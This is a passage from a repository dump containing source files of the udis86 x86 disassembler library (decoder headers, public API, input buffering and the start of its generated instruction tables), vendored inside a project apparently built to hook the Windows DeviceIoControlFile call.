1 )\n#define P_oso ( 1 << 9 )\n#define P_OSO(n) ( ( n >> 9 ) & 1 )\n#define P_aso ( 1 << 10 )\n#define P_ASO(n) ( ( n >> 10 ) & 1 )\n#define P_rexx ( 1 << 11 )\n#define P_REXX(n) ( ( n >> 11 ) & 1 )\n#define P_ImpAddr ( 1 << 12 )\n#define P_IMPADDR(n) ( ( n >> 12 ) & 1 )\n\n/* rex prefix bits */\n#define REX_W(r) ( ( 0xF & ( r ) ) >> 3 )\n#define REX_R(r) ( ( 0x7 & ( r ) ) >> 2 )\n#define REX_X(r) ( ( 0x3 & ( r ) ) >> 1 )\n#define REX_B(r) ( ( 0x1 & ( r ) ) >> 0 )\n#define REX_PFX_MASK(n) ( ( P_REXW(n) << 3 ) | \\\n ( P_REXR(n) << 2 ) | \\\n ( P_REXX(n) << 1 ) | \\\n ( P_REXB(n) << 0 ) )\n\n/* scable-index-base bits */\n#define SIB_S(b) ( ( b ) >> 6 )\n#define SIB_I(b) ( ( ( b ) >> 3 ) & 7 )\n#define SIB_B(b) ( ( b ) & 7 )\n\n/* modrm bits */\n#define MODRM_REG(b) ( ( ( b ) >> 3 ) & 7 )\n#define MODRM_NNN(b) ( ( ( b ) >> 3 ) & 7 )\n#define MODRM_MOD(b) ( ( ( b ) >> 6 ) & 3 )\n#define MODRM_RM(b) ( ( b ) & 7 )\n\n/* operand type constants -- order is important! */\n\nenum ud_operand_code {\n OP_NONE,\n\n OP_A, OP_E, OP_M, OP_G, \n OP_I,\n\n OP_AL, OP_CL, OP_DL, OP_BL,\n OP_AH, OP_CH, OP_DH, OP_BH,\n\n OP_ALr8b, OP_CLr9b, OP_DLr10b, OP_BLr11b,\n OP_AHr12b, OP_CHr13b, OP_DHr14b, OP_BHr15b,\n\n OP_AX, OP_CX, OP_DX, OP_BX,\n OP_SI, OP_DI, OP_SP, OP_BP,\n\n OP_rAX, OP_rCX, OP_rDX, OP_rBX, \n OP_rSP, OP_rBP, OP_rSI, OP_rDI,\n\n OP_rAXr8, OP_rCXr9, OP_rDXr10, OP_rBXr11, \n OP_rSPr12, OP_rBPr13, OP_rSIr14, OP_rDIr15,\n\n OP_eAX, OP_eCX, OP_eDX, OP_eBX,\n OP_eSP, OP_eBP, OP_eSI, OP_eDI,\n\n OP_ES, OP_CS, OP_SS, OP_DS, \n OP_FS, OP_GS,\n\n OP_ST0, OP_ST1, OP_ST2, OP_ST3,\n OP_ST4, OP_ST5, OP_ST6, OP_ST7,\n\n OP_J, OP_S, OP_O, \n OP_I1, OP_I3, \n\n OP_V, OP_W, OP_Q, OP_P, \n\n OP_R, OP_C, OP_D, OP_VR, OP_PR\n};\n\n\n/* operand size constants */\n\nenum ud_operand_size {\n SZ_NA = 0,\n SZ_Z = 1,\n SZ_V = 2,\n SZ_P = 3,\n SZ_WP = 4,\n SZ_DP = 5,\n SZ_MDQ = 6,\n SZ_RDQ = 7,\n\n /* the following values are used as is,\n * and thus hard-coded. changing them \n * will break internals \n */\n SZ_B = 8,\n SZ_W = 16,\n SZ_D = 32,\n SZ_Q = 64,\n SZ_T = 80,\n};\n\n/* itab entry operand definitions */\n\n#define O_rSPr12 { OP_rSPr12, SZ_NA }\n#define O_BL { OP_BL, SZ_NA }\n#define O_BH { OP_BH, SZ_NA }\n#define O_BP { OP_BP, SZ_NA }\n#define O_AHr12b { OP_AHr12b, SZ_NA }\n#define O_BX { OP_BX, SZ_NA }\n#define O_Jz { OP_J, SZ_Z }\n#define O_Jv { OP_J, SZ_V }\n#define O_Jb { OP_J, SZ_B }\n#define O_rSIr14 { OP_rSIr14, SZ_NA }\n#define O_GS { OP_GS, SZ_NA }\n#define O_D { OP_D, SZ_NA }\n#define O_rBPr13 { OP_rBPr13, SZ_NA }\n#define O_Ob { OP_O, SZ_B }\n#define O_P { OP_P, SZ_NA }\n#define O_Ow { OP_O, SZ_W }\n#define O_Ov { OP_O, SZ_V }\n#define O_Gw { OP_G, SZ_W }\n#define O_Gv { OP_G, SZ_V }\n#define O_rDX { OP_rDX, SZ_NA }\n#define O_Gx { OP_G, SZ_MDQ }\n#define O_Gd { OP_G, SZ_D }\n#define O_Gb { OP_G, SZ_B }\n#define O_rBXr11 { OP_rBXr11, SZ_NA }\n#define O_rDI { OP_rDI, SZ_NA }\n#define O_rSI { OP_rSI, SZ_NA }\n#define O_ALr8b { OP_ALr8b, SZ_NA }\n#define O_eDI { OP_eDI, SZ_NA }\n#define O_Gz { OP_G, SZ_Z }\n#define O_eDX { OP_eDX, SZ_NA }\n#define O_DHr14b { OP_DHr14b, SZ_NA }\n#define O_rSP { OP_rSP, SZ_NA }\n#define O_PR { OP_PR, SZ_NA }\n#define O_NONE { OP_NONE, SZ_NA }\n#define O_rCX { OP_rCX, SZ_NA }\n#define O_jWP { OP_J, SZ_WP }\n#define O_rDXr10 { OP_rDXr10, SZ_NA }\n#define O_Md { OP_M, SZ_D }\n#define O_C { OP_C, SZ_NA }\n#define O_G { OP_G, SZ_NA }\n#define O_Mb { OP_M, SZ_B }\n#define O_Mt { OP_M, SZ_T }\n#define O_S { OP_S, SZ_NA }\n#define O_Mq { OP_M, SZ_Q }\n#define O_W { OP_W, SZ_NA }\n#define O_ES { OP_ES, SZ_NA }\n#define O_rBX { OP_rBX, SZ_NA }\n#define O_Ed { OP_E, SZ_D }\n#define O_DLr10b { OP_DLr10b, SZ_NA }\n#define O_Mw { OP_M, SZ_W }\n#define O_Eb { OP_E, SZ_B }\n#define O_Ex { OP_E, SZ_MDQ }\n#define O_Ez { OP_E, SZ_Z }\n#define O_Ew { OP_E, SZ_W }\n#define O_Ev { OP_E, SZ_V }\n#define O_Ep { OP_E, SZ_P }\n#define O_FS { OP_FS, SZ_NA }\n#define O_Ms { OP_M, SZ_W }\n#define O_rAXr8 { OP_rAXr8, SZ_NA }\n#define O_eBP { OP_eBP, SZ_NA }\n#define O_Isb { OP_I, SZ_SB }\n#define O_eBX { OP_eBX, SZ_NA }\n#define O_rCXr9 { OP_rCXr9, SZ_NA }\n#define O_jDP { OP_J, SZ_DP }\n#define O_CH { OP_CH, SZ_NA }\n#define O_CL { OP_CL, SZ_NA }\n#define O_R { OP_R, SZ_RDQ }\n#define O_V { OP_V, SZ_NA }\n#define O_CS { OP_CS, SZ_NA }\n#define O_CHr13b { OP_CHr13b, SZ_NA }\n#define O_eCX { OP_eCX, SZ_NA }\n#define O_eSP { OP_eSP, SZ_NA }\n#define O_SS { OP_SS, SZ_NA }\n#define O_SP { OP_SP, SZ_NA }\n#define O_BLr11b { OP_BLr11b, SZ_NA }\n#define O_SI { OP_SI, SZ_NA }\n#define O_eSI { OP_eSI, SZ_NA }\n#define O_DL { OP_DL, SZ_NA }\n#define O_DH { OP_DH, SZ_NA }\n#define O_DI { OP_DI, SZ_NA }\n#define O_DX { OP_DX, SZ_NA }\n#define O_rBP { OP_rBP, SZ_NA }\n#define O_Gvw { OP_G, SZ_MDQ }\n#define O_I1 { OP_I1, SZ_NA }\n#define O_I3 { OP_I3, SZ_NA }\n#define O_DS { OP_DS, SZ_NA }\n#define O_ST4 { OP_ST4, SZ_NA }\n#define O_ST5 { OP_ST5, SZ_NA }\n#define O_ST6 { OP_ST6, SZ_NA }\n#define O_ST7 { OP_ST7, SZ_NA }\n#define O_ST0 { OP_ST0, SZ_NA }\n#define O_ST1 { OP_ST1, SZ_NA }\n#define O_ST2 { OP_ST2, SZ_NA }\n#define O_ST3 { OP_ST3, SZ_NA }\n#define O_E { OP_E, SZ_NA }\n#define O_AH { OP_AH, SZ_NA }\n#define O_M { OP_M, SZ_NA }\n#define O_AL { OP_AL, SZ_NA }\n#define O_CLr9b { OP_CLr9b, SZ_NA }\n#define O_Q { OP_Q, SZ_NA }\n#define O_eAX { OP_eAX, SZ_NA }\n#define O_VR { OP_VR, SZ_NA }\n#define O_AX { OP_AX, SZ_NA }\n#define O_rAX { OP_rAX, SZ_NA }\n#define O_Iz { OP_I, SZ_Z }\n#define O_rDIr15 { OP_rDIr15, SZ_NA }\n#define O_Iw { OP_I, SZ_W }\n#define O_Iv { OP_I, SZ_V }\n#define O_Ap { OP_A, SZ_P }\n#define O_CX { OP_CX, SZ_NA }\n#define O_Ib { OP_I, SZ_B }\n#define O_BHr15b { OP_BHr15b, SZ_NA }\n\n\n/* A single operand of an entry in the instruction table. \n * (internal use only)\n */\nstruct ud_itab_entry_operand \n{\n enum ud_operand_code type;\n enum ud_operand_size size;\n};\n\n\n/* A single entry in an instruction table. \n *(internal use only)\n */\nstruct ud_itab_entry \n{\n enum ud_mnemonic_code mnemonic;\n struct ud_itab_entry_operand operand1;\n struct ud_itab_entry_operand operand2;\n struct ud_itab_entry_operand operand3;\n uint32_t prefix;\n};\n\nextern const char * ud_lookup_mnemonic( enum ud_mnemonic_code c );\n\n#endif /* UD_DECODE_H */\n\n/* vim:cindent\n * vim:expandtab\n * vim:ts=4\n * vim:sw=4\n */\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/extern.h", "content": "/* -----------------------------------------------------------------------------\n * extern.h\n *\n * Copyright (c) 2004, 2005, 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n#ifndef UD_EXTERN_H\n#define UD_EXTERN_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \n#include \"types.h\"\n\n/* ============================= PUBLIC API ================================= */\n\nextern void ud_init(struct ud*);\n\nextern void ud_set_mode(struct ud*, uint8_t);\n\nextern void ud_set_pc(struct ud*, uint64_t);\n\nextern void ud_set_input_hook(struct ud*, int (*)(struct ud*));\n\nextern void ud_set_input_buffer(struct ud*, uint8_t*, size_t);\n\n#ifndef __UD_STANDALONE__\nextern void ud_set_input_file(struct ud*, FILE*);\n#endif /* __UD_STANDALONE__ */\n\nextern void ud_set_vendor(struct ud*, unsigned);\n\nextern void ud_set_syntax(struct ud*, void (*)(struct ud*));\n\nextern void ud_input_skip(struct ud*, size_t);\n\nextern int ud_input_end(struct ud*);\n\nextern unsigned int ud_decode(struct ud*);\n\nextern unsigned int ud_disassemble(struct ud*);\n\nextern void ud_translate_intel(struct ud*);\n\nextern void ud_translate_att(struct ud*);\n\nextern char* ud_insn_asm(struct ud* u);\n\nextern uint8_t* ud_insn_ptr(struct ud* u);\n\nextern uint64_t ud_insn_off(struct ud*);\n\nextern char* ud_insn_hex(struct ud*);\n\nextern unsigned int ud_insn_len(struct ud* u);\n\nextern const char* ud_lookup_mnemonic(enum ud_mnemonic_code c);\n\n/* ========================================================================== */\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/input.c", "content": "/* -----------------------------------------------------------------------------\n * input.c\n *\n * Copyright (c) 2004, 2005, 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n#include \"extern.h\"\n#include \"types.h\"\n#include \"input.h\"\n\n/* -----------------------------------------------------------------------------\n * inp_buff_hook() - Hook for buffered inputs.\n * -----------------------------------------------------------------------------\n */\nstatic int \ninp_buff_hook(struct ud* u)\n{\n if (u->inp_buff < u->inp_buff_end)\n\treturn *u->inp_buff++;\n else\treturn -1;\n}\n\n#ifndef __UD_STANDALONE__\n/* -----------------------------------------------------------------------------\n * inp_file_hook() - Hook for FILE inputs.\n * -----------------------------------------------------------------------------\n */\nstatic int \ninp_file_hook(struct ud* u)\n{\n return fgetc(u->inp_file);\n}\n#endif /* __UD_STANDALONE__*/\n\n/* =============================================================================\n * ud_inp_set_hook() - Sets input hook.\n * =============================================================================\n */\nextern void \nud_set_input_hook(register struct ud* u, int (*hook)(struct ud*))\n{\n u->inp_hook = hook;\n inp_init(u);\n}\n\n/* =============================================================================\n * ud_inp_set_buffer() - Set buffer as input.\n * =============================================================================\n */\nextern void \nud_set_input_buffer(register struct ud* u, uint8_t* buf, size_t len)\n{\n u->inp_hook = inp_buff_hook;\n u->inp_buff = buf;\n u->inp_buff_end = buf + len;\n inp_init(u);\n}\n\n#ifndef __UD_STANDALONE__\n/* =============================================================================\n * ud_input_set_file() - Set buffer as input.\n * =============================================================================\n */\nextern void \nud_set_input_file(register struct ud* u, FILE* f)\n{\n u->inp_hook = inp_file_hook;\n u->inp_file = f;\n inp_init(u);\n}\n#endif /* __UD_STANDALONE__ */\n\n/* =============================================================================\n * ud_input_skip() - Skip n input bytes.\n * =============================================================================\n */\nextern void \nud_input_skip(struct ud* u, size_t n)\n{\n while (n--) {\n\tu->inp_hook(u);\n }\n}\n\n/* =============================================================================\n * ud_input_end() - Test for end of input.\n * =============================================================================\n */\nextern int \nud_input_end(struct ud* u)\n{\n return (u->inp_curr == u->inp_fill) && u->inp_end;\n}\n\n/* -----------------------------------------------------------------------------\n * inp_next() - Loads and returns the next byte from input.\n *\n * inp_curr and inp_fill are pointers to the cache. The program is written based\n * on the property that they are 8-bits in size, and will eventually wrap around\n * forming a circular buffer. So, the size of the cache is 256 in size, kind of\n * unnecessary yet optimized.\n *\n * A buffer inp_sess stores the bytes disassembled for a single session.\n * -----------------------------------------------------------------------------\n */\nextern uint8_t inp_next(struct ud* u) \n{\n int c = -1;\n /* if current pointer is not upto the fill point in the \n * input cache.\n */\n if ( u->inp_curr != u->inp_fill ) {\n\tc = u->inp_cache[ ++u->inp_curr ];\n /* if !end-of-input, call the input hook and get a byte */\n } else if ( u->inp_end || ( c = u->inp_hook( u ) ) == -1 ) {\n\t/* end-of-input, mark it as an error, since the decoder,\n\t * expected a byte more.\n\t */\n\tu->error = 1;\n\t/* flag end of input */\n\tu->inp_end = 1;\n\treturn 0;\n } else {\n\t/* increment pointers, we have a new byte. */\n\tu->inp_curr = ++u->inp_fill;\n\t/* add the byte to the cache */\n\tu->inp_cache[ u->inp_fill ] = c;\n }\n /* record bytes input per decode-session. */\n u->inp_sess[ u->inp_ctr++ ] = c;\n /* return byte */\n return ( uint8_t ) c;\n}\n\n/* -----------------------------------------------------------------------------\n * inp_back() - Move back a single byte in the stream.\n * -----------------------------------------------------------------------------\n */\nextern void\ninp_back(struct ud* u) \n{\n if ( u->inp_ctr > 0 ) {\n\t--u->inp_curr;\n\t--u->inp_ctr;\n }\n}\n\n/* -----------------------------------------------------------------------------\n * inp_peek() - Peek into the next byte in source. \n * -----------------------------------------------------------------------------\n */\nextern uint8_t\ninp_peek(struct ud* u) \n{\n uint8_t r = inp_next(u);\n if ( !u->error ) inp_back(u); /* Don't backup if there was an error */\n return r;\n}\n\n/* -----------------------------------------------------------------------------\n * inp_move() - Move ahead n input bytes.\n * -----------------------------------------------------------------------------\n */\nextern void\ninp_move(struct ud* u, size_t n) \n{\n while (n--)\n\tinp_next(u);\n}\n\n/*------------------------------------------------------------------------------\n * inp_uintN() - return uintN from source.\n *------------------------------------------------------------------------------\n */\nextern uint8_t \ninp_uint8(struct ud* u)\n{\n return inp_next(u);\n}\n\nextern uint16_t \ninp_uint16(struct ud* u)\n{\n uint16_t r, ret;\n\n ret = inp_next(u);\n r = inp_next(u);\n return ret | (r << 8);\n}\n\nextern uint32_t \ninp_uint32(struct ud* u)\n{\n uint32_t r, ret;\n\n ret = inp_next(u);\n r = inp_next(u);\n ret = ret | (r << 8);\n r = inp_next(u);\n ret = ret | (r << 16);\n r = inp_next(u);\n return ret | (r << 24);\n}\n\nextern uint64_t \ninp_uint64(struct ud* u)\n{\n uint64_t r, ret;\n\n ret = inp_next(u);\n r = inp_next(u);\n ret = ret | (r << 8);\n r = inp_next(u);\n ret = ret | (r << 16);\n r = inp_next(u);\n ret = ret | (r << 24);\n r = inp_next(u);\n ret = ret | (r << 32);\n r = inp_next(u);\n ret = ret | (r << 40);\n r = inp_next(u);\n ret = ret | (r << 48);\n r = inp_next(u);\n return ret | (r << 56);\n}\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/input.h", "content": "/* -----------------------------------------------------------------------------\n * input.h\n *\n * Copyright (c) 2006, Vivek Mohan \n * All rights reserved. See LICENSE\n * -----------------------------------------------------------------------------\n */\n#ifndef UD_INPUT_H\n#define UD_INPUT_H\n\n#include \"types.h\"\n\nuint8_t inp_next(struct ud*);\nuint8_t inp_peek(struct ud*);\nuint8_t inp_uint8(struct ud*);\nuint16_t inp_uint16(struct ud*);\nuint32_t inp_uint32(struct ud*);\nuint64_t inp_uint64(struct ud*);\nvoid inp_move(struct ud*, size_t);\nvoid inp_back(struct ud*);\n\n/* inp_init() - Initializes the input system. */\n#define inp_init(u) \\\ndo { \\\n u->inp_curr = 0; \\\n u->inp_fill = 0; \\\n u->inp_ctr = 0; \\\n u->inp_end = 0; \\\n} while (0)\n\n/* inp_start() - Should be called before each de-code operation. */\n#define inp_start(u) u->inp_ctr = 0\n\n/* inp_back() - Resets the current pointer to its position before the current\n * instruction disassembly was started.\n */\n#define inp_reset(u) \\\ndo { \\\n u->inp_curr -= u->inp_ctr; \\\n u->inp_ctr = 0; \\\n} while (0)\n\n/* inp_sess() - Returns the pointer to current session. */\n#define inp_sess(u) (u->inp_sess)\n\n/* inp_cur() - Returns the current input byte. */\n#define inp_curr(u) ((u)->inp_cache[(u)->inp_curr])\n\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/itab.c", "content": "\n/* itab.c -- auto generated by opgen.py, do not edit. */\n\n#include \"types.h\"\n#include \"decode.h\"\n#include \"itab.h\"\n\nconst char * ud_mnemonics_str[] = {\n \"3dnow\",\n \"aaa\",\n \"aad\",\n \"aam\",\n \"aas\",\n \"adc\",\n \"add\",\n \"addpd\",\n \"addps\",\n \"addsd\",\n \"addss\",\n \"addsubpd\",\n \"addsubps\",\n \"and\",\n \"andpd\",\n \"andps\",\n \"andnpd\",\n \"andnps\",\n \"arpl\",\n \"movsxd\",\n \"bound\",\n \"bsf\",\n \"bsr\",\n \"bswap\",\n \"bt\",\n \"btc\",\n \"btr\",\n \"bts\",\n \"call\",\n \"cbw\",\n \"cwde\",\n \"cdqe\",\n \"clc\",\n \"cld\",\n \"clflush\",\n \"clgi\",\n \"cli\",\n \"clts\",\n \"cmc\",\n \"cmovo\",\n \"cmovno\",\n \"cmovb\",\n \"cmovae\",\n \"cmovz\",\n \"cmovnz\",\n \"cmovbe\",\n \"cmova\",\n \"cmovs\",\n \"cmovns\",\n \"cmovp\",\n \"cmovnp\",\n \"cmovl\",\n \"cmovge\",\n \"cmovle\",\n \"cmovg\",\n \"cmp\",\n \"cmppd\",\n \"cmpps\",\n \"cmpsb\",\n \"cmpsw\",\n \"cmpsd\",\n \"cmpsq\",\n \"cmpss\",\n \"cmpxchg\",\n \"cmpxchg8b\",\n \"comisd\",\n \"comiss\",\n \"cpuid\",\n \"cvtdq2pd\",\n \"cvtdq2ps\",\n \"cvtpd2dq\",\n \"cvtpd2pi\",\n \"cvtpd2ps\",\n \"cvtpi2ps\",\n \"cvtpi2pd\",\n \"cvtps2dq\",\n \"cvtps2pi\",\n \"cvtps2pd\",\n \"cvtsd2si\",\n \"cvtsd2ss\",\n \"cvtsi2ss\",\n \"cvtss2si\",\n \"cvtss2sd\",\n \"cvttpd2pi\",\n \"cvttpd2dq\",\n \"cvttps2dq\",\n \"cvttps2pi\",\n \"cvttsd2si\",\n \"cvtsi2sd\",\n \"cvttss2si\",\n \"cwd\",\n \"cdq\",\n \"cqo\",\n \"daa\",\n \"das\",\n \"dec\",\n \"div\",\n \"divpd\",\n \"divps\",\n \"divsd\",\n \"divss\",\n \"emms\",\n \"enter\",\n \"f2xm1\",\n \"fabs\",\n \"fadd\",\n \"faddp\",\n \"fbld\",\n \"fbstp\",\n \"fchs\",\n \"fclex\",\n \"fcmovb\",\n \"fcmove\",\n \"fcmovbe\",\n \"fcmovu\",\n \"fcmovnb\",\n \"fcmovne\",\n \"fcmovnbe\",\n \"fcmovnu\",\n \"fucomi\",\n \"fcom\",\n \"fcom2\",\n \"fcomp3\",\n \"fcomi\",\n \"fucomip\",\n \"fcomip\",\n \"fcomp\",\n \"fcomp5\",\n \"fcompp\",\n \"fcos\",\n \"fdecstp\",\n \"fdiv\",\n \"fdivp\",\n \"fdivr\",\n \"fdivrp\",\n \"femms\",\n \"ffree\",\n \"ffreep\",\n \"ficom\",\n \"ficomp\",\n \"fild\",\n \"fncstp\",\n \"fninit\",\n \"fiadd\",\n \"fidivr\",\n \"fidiv\",\n \"fisub\",\n \"fisubr\",\n \"fist\",\n \"fistp\",\n \"fisttp\",\n \"fld\",\n \"fld1\",\n \"fldl2t\",\n \"fldl2e\",\n \"fldlpi\",\n \"fldlg2\",\n \"fldln2\",\n \"fldz\",\n \"fldcw\",\n \"fldenv\",\n \"fmul\",\n \"fmulp\",\n \"fimul\",\n \"fnop\",\n \"fpatan\",\n \"fprem\",\n \"fprem1\",\n \"fptan\",\n \"frndint\",\n \"frstor\",\n \"fnsave\",\n \"fscale\",\n \"fsin\",\n \"fsincos\",\n \"fsqrt\",\n \"fstp\",\n \"fstp1\",\n \"fstp8\",\n \"fstp9\",\n \"fst\",\n \"fnstcw\",\n \"fnstenv\",\n \"fnstsw\",\n \"fsub\",\n \"fsubp\",\n \"fsubr\",\n \"fsubrp\",\n \"ftst\",\n \"fucom\",\n \"fucomp\",\n \"fucompp\",\n \"fxam\",\n \"fxch\",\n \"fxch4\",\n \"fxch7\",\n \"fxrstor\",\n \"fxsave\",\n \"fpxtract\",\n \"fyl2x\",\n \"fyl2xp1\",\n \"haddpd\",\n \"haddps\",\n \"hlt\",\n \"hsubpd\",\n \"hsubps\",\n \"idiv\",\n \"in\",\n \"imul\",\n \"inc\",\n \"insb\",\n \"insw\",\n \"insd\",\n \"int1\",\n \"int3\",\n \"int\",\n \"into\",\n \"invd\",\n \"invlpg\",\n \"invlpga\",\n \"iretw\",\n \"iretd\",\n \"iretq\",\n \"jo\",\n \"jno\",\n \"jb\",\n \"jae\",\n \"jz\",\n \"jnz\",\n \"jbe\",\n \"ja\",\n \"js\",\n \"jns\",\n \"jp\",\n \"jnp\",\n \"jl\",\n \"jge\",\n \"jle\",\n \"jg\",\n \"jcxz\",\n \"jecxz\",\n \"jrcxz\",\n \"jmp\",\n \"lahf\",\n \"lar\",\n \"lddqu\",\n \"ldmxcsr\",\n \"lds\",\n \"lea\",\n \"les\",\n \"lfs\",\n \"lgs\",\n \"lidt\",\n \"lss\",\n \"leave\",\n \"lfence\",\n \"lgdt\",\n \"lldt\",\n \"lmsw\",\n \"lock\",\n \"lodsb\",\n \"lodsw\",\n \"lodsd\",\n \"lodsq\",\n \"loopnz\",\n \"loope\",\n \"loop\",\n \"lsl\",\n \"ltr\",\n \"maskmovq\",\n \"maxpd\",\n \"maxps\",\n \"maxsd\",\n \"maxss\",\n \"mfence\",\n \"minpd\",\n \"minps\",\n \"minsd\",\n \"minss\",\n \"monitor\",\n \"mov\",\n \"movapd\",\n \"movaps\",\n \"movd\",\n \"movddup\",\n \"movdqa\",\n \"movdqu\",\n \"movdq2q\",\n \"movhpd\",\n \"movhps\",\n \"movlhps\",\n \"movlpd\",\n \"movlps\",\n \"movhlps\",\n \"movmskpd\",\n \"movmskps\",\n \"movntdq\",\n \"movnti\",\n \"movntpd\",\n \"movntps\",\n \"movntq\",\n \"movq\",\n \"movqa\",\n \"movq2dq\",\n \"movsb\",\n \"movsw\",\n \"movsd\",\n \"movsq\",\n \"movsldup\",\n \"movshdup\",\n \"movss\",\n \"movsx\",\n \"movupd\",\n \"movups\",\n \"movzx\",\n \"mul\",\n \"mulpd\",\n \"mulps\",\n \"mulsd\",\n \"mulss\",\n \"mwait\",\n \"neg\",\n \"nop\",\n \"not\",\n \"or\",\n \"orpd\",\n \"orps\",\n \"out\",\n \"outsb\",\n \"outsw\",\n \"outsd\",\n \"outsq\",\n \"packsswb\",\n \"packssdw\",\n \"packuswb\",\n \"paddb\",\n \"paddw\",\n \"paddq\",\n \"paddsb\",\n \"paddsw\",\n \"paddusb\",\n \"paddusw\",\n \"pand\",\n \"pandn\",\n \"pause\",\n \"pavgb\",\n \"pavgw\",\n \"pcmpeqb\",\n \"pcmpeqw\",\n \"pcmpeqd\",\n \"pcmpgtb\",\n \"pcmpgtw\",\n \"pcmpgtd\",\n \"pextrw\",\n \"pinsrw\",\n \"pmaddwd\",\n \"pmaxsw\",\n \"pmaxub\",\n \"pminsw\",\n \"pminub\",\n \"pmovmskb\",\n \"pmulhuw\",\n \"pmulhw\",\n \"pmullw\",\n \"pmuludq\",\n \"pop\",\n \"popa\",\n \"popad\",\n \"popfw\",\n \"popfd\",\n \"popfq\",\n \"por\",\n \"prefetch\",\n \"prefetchnta\",\n \"prefetcht0\",\n \"prefetcht1\",\n \"prefetcht2\",\n \"psadbw\",\n \"pshufd\",\n \"pshufhw\",\n \"pshuflw\",\n \"pshufw\",\n \"pslldq\",\n \"psllw\",\n \"pslld\",\n \"psllq\",\n \"psraw\",\n \"psrad\",\n \"psrlw\",\n \"psrld\",\n \"psrlq\",\n \"psrldq\",\n \"psubb\",\n \"psubw\",\n \"psubd\",\n \"psubq\",\n \"psubsb\",\n \"psubsw\",\n \"psubusb\",\n \"psubusw\",\n \"punpckhbw\",\n \"punpckhwd\",\n \"punpckhdq\",\n \"punpckhqdq\",\n \"punpcklbw\",\n \"punpcklwd\",\n \"punpckldq\",\n \"punpcklqdq\",\n \"pi2fw\",\n \"pi2fd\",\n \"pf2iw\",\n \"pf2id\",\n \"pfnacc\",\n \"pfpnacc\",\n \"pfcmpge\",\n \"pfmin\",\n \"pfrcp\",\n \"pfrsqrt\",\n \"pfsub\",\n \"pfadd\",\n \"pfcmpgt\",\n \"pfmax\",\n \"pfrcpit1\",\n \"pfrspit1\",\n \"pfsubr\",\n \"pfacc\",\n \"pfcmpeq\",\n \"pfmul\",\n \"pfrcpit2\",\n \"pmulhrw\",\n \"pswapd\",\n \"pavgusb\",\n \"push\",\n \"pusha\",\n \"pushad\",\n \"pushfw\",\n \"pushfd\",\n \"pushfq\",\n \"pxor\",\n \"rcl\",\n \"rcr\",\n \"rol\",\n \"ror\",\n \"rcpps\",\n \"rcpss\",\n \"rdmsr\",\n \"rdpmc\",\n \"rdtsc\",\n \"rdtscp\",\n \"repne\",\n \"rep\",\n \"ret\",\n \"retf\",\n \"rsm\",\n \"rsqrtps\",\n \"rsqrtss\",\n \"sahf\",\n \"sal\",\n \"salc\",\n \"sar\",\n \"shl\",\n \"shr\",\n \"sbb\",\n \"scasb\",\n \"scasw\",\n \"scasd\",\n \"scasq\",\n \"seto\",\n \"setno\",\n \"setb\",\n \"setnb\",\n \"setz\",\n \"setnz\",\n \"setbe\",\n \"seta\",\n \"sets\",\n \"setns\",\n \"setp\",\n \"setnp\",\n \"setl\",\n \"setge\",\n \"setle\",\n \"setg\",\n \"sfence\",\n \"sgdt\",\n \"shld\",\n \"shrd\",\n \"shufpd\",\n \"shufps\",\n \"sidt\",\n \"sldt\",\n \"smsw\",\n \"sqrtps\",\n \"sqrtpd\",\n \"sqrtsd\",\n \"sqrtss\",\n \"stc\",\n \"std\",\n \"stgi\",\n \"sti\",\n \"skinit\",\n \"stmxcsr\",\n \"stosb\",\n \"stosw\",\n \"stosd\",\n \"stosq\",\n \"str\",\n \"sub\",\n \"subpd\",\n \"subps\",\n \"subsd\",\n \"subss\",\n \"swapgs\",\n \"syscall\",\n \"sysenter\",\n \"sysexit\",\n \"sysret\",\n \"test\",\n \"ucomisd\",\n \"ucomiss\",\n \"ud2\",\n \"unpckhpd\",\n \"unpckhps\",\n \"unpcklps\",\n \"unpcklpd\",\n \"verr\",\n \"verw\",\n \"vmcall\",\n \"vmclear\",\n \"vmxon\",\n \"vmptrld\",\n \"vmptrst\",\n \"vmresume\",\n \"vmxoff\",\n \"vmrun\",\n \"vmmcall\",\n \"vmload\",\n \"vmsave\",\n \"wait\",\n \"wbinvd\",\n \"wrmsr\",\n \"xadd\",\n \"xchg\",\n \"xlatb\",\n \"xor\",\n \"xorpd\",\n \"xorps\",\n \"db\",\n \"invalid\",\n};\n\n\n\nstatic struct ud_itab_entry itab__0f[256] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_00__REG },\n /* 01 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_01__REG },\n /* 02 */ { UD_Ilar, O_Gv, O_Ew, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ilsl, O_Gv, O_Ew, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Isyscall, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iclts, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Isysret, O_NONE, O_NONE, O_NONE, P_none },\n /* 08 */ { UD_Iinvd, O_NONE, O_NONE, O_NONE, P_none },\n /* 09 */ { UD_Iwbinvd, O_NONE, O_NONE, O_NONE, P_none },\n /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0B */ { UD_Iud2, O_NONE, O_NONE, O_NONE, P_none },\n /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 0D */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__0F__OP_0D__REG },\n /* 0E */ { UD_Ifemms, O_NONE, O_NONE, O_NONE, P_none },\n /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 10 */ { 